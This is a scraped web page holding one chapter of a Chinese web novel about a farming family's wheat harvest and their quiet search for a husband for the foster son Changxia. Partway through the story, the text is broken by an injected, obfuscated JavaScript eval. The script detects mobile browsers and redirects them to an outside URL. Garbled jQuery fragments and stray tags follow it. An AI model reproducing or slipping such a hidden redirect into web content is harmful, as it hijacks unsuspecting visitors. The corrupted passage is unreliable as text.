默认冷灰
24号文字
方正启体

17.第 17 章

作者:茶查查本书字数:K更新时间:
    镐头抡进土里,松两下土,便掘出地里的麦茬,也就是麦子根。


    刨出一小堆麦茬后,长夏一个个捡起,抖抖根部泥土,丢进竹筐中。


    比起前天割麦的忙碌紧张,今天来挖麦茬要松懈许多。


    这些都是柴火,背回家晒干,好烧火用。


    地里不止他一人,前面陈知和窦金花一个拎筐,一个提竹篮,一人占了一亩地,低着头仔细搜寻。


    昨天已经拾过四亩地的麦子,他俩觉得没拾干净,一大早就过来了。


    收麦再留神,避免不了有遗漏的,别人家的不说,自家的地多拾一遍才放心。


    有时走路上看见一两根麦子,即使没有穗头,只一根秸秆掉地上,路过的老人都要抢着拾了去。


    每年收麦收稻谷的时候,村里一些老人总会为拾捡互相不对付。


    长夏刨着麦茬,看见泥土里的麦粒,若是较多,或者好拾捡,没有被踩得嵌进土壤中,他都会停下,换了小宽铲,连土带麦粒铲进竹筐里。


    麦粒会和土一起落到筐子最底下,等回去了,倒出来晒一晒,再用簸箕扬了土,筛出来的麦粒再少,也是一口粮。


    陈知和窦金花同样如此。


    不过这只是顺手铲两下,真要一粒粒捡起来,那其他活就别干了,一天到晚只能耗在这里。


    上等田这边刨麦根、平整田地的人明显要多。


    收完麦过几天就得种豆子,只要有上等良田的人家,总会先把这边地拾掇出来,后面好赶着种豆。


    没多久,裴灶安扛着锄头来了,也没言语,进了另一亩地就开始刨麦茬。


    清早天还没亮的时候,裴曜跟着裴有瓦就出了门,往洞周村的周大户家去做麦工收麦。


    一天下来,除了两顿饱饭,一人能赚四十文,两个人就是八十文。


    按往年,自家的麦子收完后,如果不往远处去,只在其他村里辗转着做工的话,能干五六天左右。


    庄稼人最不怕下苦力,多劳累几天,能赚个四百文,也就是四钱,是很不错的。


    傍晚。


    太阳已经落下去,裴曜和裴有瓦还没回来。


    长夏洗完碗在煮猪食。


    这几天饭都吃的晚,从地里回来已经迟了,再做饭就更晚,猪等不来食,在后院直哼哼。


    院子里晒着厚厚一层麦子,等晒干了才好碾场脱粒。


    近来人人头上衣裳上都像是蒙着一层灰,用甩布在身上甩打,肉眼可见会有灰尘扬起。


    长夏很喜欢麦子麦秸晒过后的味道。


    刚来裴家那两年,光景不好,尽管他和裴曜饿肚子的时候不多,可大人忧愁的神色他看在眼里,知道日子不好过。


    没人知道他有多怕。


    村里老人聚在一起说闲话,总哀叹着,说要是风调雨顺就好了,说着说着,又忆起哪几年丰收,多打了多少粮。


    长夏听见,便也在心里期盼。


    幸好,艰难的那几年过去了,像是老天开了恩,这几年算不上大丰收,雨水倒也合适,偶尔涝一点,但不至于打不出粮。


    如今税赋较轻,只要勤快些,吃上饭是不成问题的。


    ·


    夏税征收过后,趁着新粮价正高,裴家粜了一些粮换了点钱。


    余下晒得干透的麦粒灌进瓮中储存,宽敞的院子不再被麦子麦秸占据,转而晒起柴草,亦或是铺上旧席子。


    野菜、干菜一旦多了,要用篾席晾晒。


    太阳晒得地面发白,草都蔫了,狗躲在阴凉处,肚子喘得很快,吐着舌头,双眼迷瞪着睡去。


    后院的鸡鸭、猪、驴等,也都没往烈日下凑,打盹的打盹,酣然躺卧的躺卧。


    大门闭着,院子里没有一个人。


    连蝉都不叫了,里里外外都安静。


    直到最热的午时过去,各房里才有了点动静。


    前段时间太忙,都没好好歇,近几日总算得了一点空,晌午能睡一觉,养养神。


    裴有瓦和裴灶安闲不住,拿了家伙什,往山上砍树去了。


    西厢房的门打开,长夏出来舀水洗脸。


    太阳很大,让人忍不住眯起眼睛。


    院里的旧席上晒着白花花的棉花,太阳太大了,已经晒得蓬松无比。


    今年的棉花还没到摘花的时候,这是去年的。


    陈知从屋里出来后,便让裴曜将席子往阴凉处拖。


    已经好几年了,家里那亩下等田种的都是棉花,虽然地薄,但一年也能出些棉,做两条被子不成问题。


    陈知向来有主意,棉花原本是为两个孩子长大后成亲,提前备下的,省得到跟前了什么都没有,一家子大眼瞪小眼干着急。


    他本来想着,就算是童养夫郎,成亲一切从简,也得有几条像样的新被子新衣裳。


    如今更是庆幸,得亏家里棉花足够。


    要是真给长夏找着好郎君了,缝几条新被作嫁妆,又齐全又好看,也拿得出手,不至于让人小瞧了。


    长夏洗干净脸就进了灶房。


    早上泡的木耳和黄花菜已经泡发了,他掐掉木耳根部,将太大的木耳撕成小片,又淘洗一遍。


    他取了竹篮往前院菜地走。


    裴曜正在柴堆前挑拣,一脚踩在根粗木头上,弯着腰拨拉几块木料。


    两人视线交错,长夏垂着眼睛,快走了几步,没敢停下。


    也不知在躲什么,大白天的,他又不吃人。


    裴曜没好气踹了一下木头。


    碍于家里人都在,不想被发现端倪,他决定不为这一点小事烦恼,又低头挑选料子,思索该雕什么合适。


    前两天裴灶安上山捡柴,砍了几块不错的木头一起带回来。


    裴曜刨雕东西只是小打小闹,不是什么正经的木匠手艺,不过为让大孙子高兴,他每次上山都会留意各种木头。


    堂屋,窦金花在剪袼褙,旁边陈知一手抻棉线一手转摇把,纺车呼呼呼飞速转动。


    两人闲聊几句,一抬头,陈知就看见长夏和裴曜之间的不对付。


    他没出声,看两眼收回视线,只在心里叹一口气。


    暗中相看的事他还没告诉裴有瓦,看来是该提提了。


    一旦长夏嫁出去,裴曜的亲事也要准备了,都得花钱。


    家里原打算今年先打井,井打好了,再攒攒钱,将院里的青石板路铺了,这样一来,井和青石板的事都得往后推。


    长夏摘了一大把鲜绿的空筒菜,舀了水淘洗干净。


    离做饭还早,他将菜放在竹匾上沥水。


    打开水缸盖子,大水缸里吊了半块瘦多肥少的肉,约莫半拃长,不多。


    为收夏粮,一家子着实下了番力气,陈知昨天下午去赵李村买了一吊新鲜肉,好犒劳犒劳。


    从昨晚和今天上午煎着、炒着吃了大半,只剩这一点。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188649|164289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    荤腥肉沫十天半月才吃一回,即使炎热,也没人觉得腻。


    隔段时间能舍得割两三斤肉吃,只要母鸡下蛋多,隔三差五也炒个鸡蛋,裴家在吃食上还是略讲究的。


    见肉好好的,长夏盖上水缸盖。


    天热,缸里有水清凉,肉放在里头放心,做饭的时候再切不迟。


    灶房才用了两年,天天擦着扫着,到处都干净。


    看见窦金花上午去溪边摘的一篮嫩水缕菜。


    长夏想了下,走到门口,朝着堂屋那边问道:“阿爹,肉不多了,晚上滚瘦肉片汤吃?”


    陈知一边纺线一边答应:“行,就那么点,煮点汤正好。”


    “好。”长夏应一声,又抓一把水缕菜择洗。


    正忙着,躺在阴凉处的大狗小狗同时爬起来,警惕看向大门处,“呜汪”叫了两声。


    陈知望过去,便连忙起身,笑着去迎裴有糖,开口道:“我说呢,这几天也忙完了,怎么不见回来转转。”


    李家村离得不算太远,裴有糖年纪也不大,隔段时间回娘家闲转并不稀奇。


    不过陈知的话另有一层意思,裴有糖心知肚明。


    见嫂子没明说,长夏和裴曜又迎过来,她笑了下,将手里的篮子递给长夏,说道:“路上见人卖葡萄,买了一串,快洗了尝尝。”


    紫红的葡萄又大又圆,看着就馋人。


    见篮子里还有两封点心,长夏将葡萄提了出来,竹篮递给陈知:“阿爹。”


    陈知接过,说笑着和裴有糖进了堂屋。


    姑姑来了,没有冷落的道理,裴曜自然也跟着。


    等长夏洗了葡萄端来,都没客气,人人摘一个尝。


    葡萄酸甜的汁水十分充沛,窦金花笑眯眯的,直夸好吃。


    其他三人不约而同点头赞同,味道确实好。


    闲聊一阵子,裴有糖让老娘和两个孩子多吃点,陈知顺势说道:“我前些天做了件衣裳,总觉得不怎么样,你帮着看看,看哪里还要改。”


    两人便往屋里去了。


    他姑嫂二人或许有什么事要商量,窦金花早些年就不管事了,因此不甚在意。


    倒是裴曜多看了一眼关上的房门,眉头轻皱。


    西屋。


    坐在炕席上的两人都放低了声音。


    陈知问道:“如何了?我这几天想着,你也该回来一趟。”


    裴有糖摇摇头,说道:“嫂子你也说了,不让大张旗鼓嚷的别人都知道,我先在我们村相看,年纪合适的倒有两个,可一个家里穷,另一个的爹娘脾气大,不好惹,我想了,长夏若嫁过去,是要吃亏受磋磨的。”


    “这不行,不行。”陈知连忙摆手。


    “我知道。”裴有糖喝了口水,又道:“这不我又和别人打听,年纪太大的不要,太小的人家估计也不愿意,问了有没有十八岁到二十一岁的,又要家境好一些,又要品行端正,平时不觉得,一找起来,还真不是容易事。”


    亲事马虎不得,踅摸起来肯定要费一番工夫。


    况且前段时间夏收,家家都忙,只能等空闲去打听,陈知自然明白。


    陈知点点头,叹道:“是我着急了。”


    他上次回娘家,拐着弯儿跟弟妹还有老爹打听了一下,倒是有一家家境不错,年纪也合适,可儿子因伤瘸了腿。


    那家人想用高聘礼给儿子求亲,他琢磨过后还是觉得不行。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)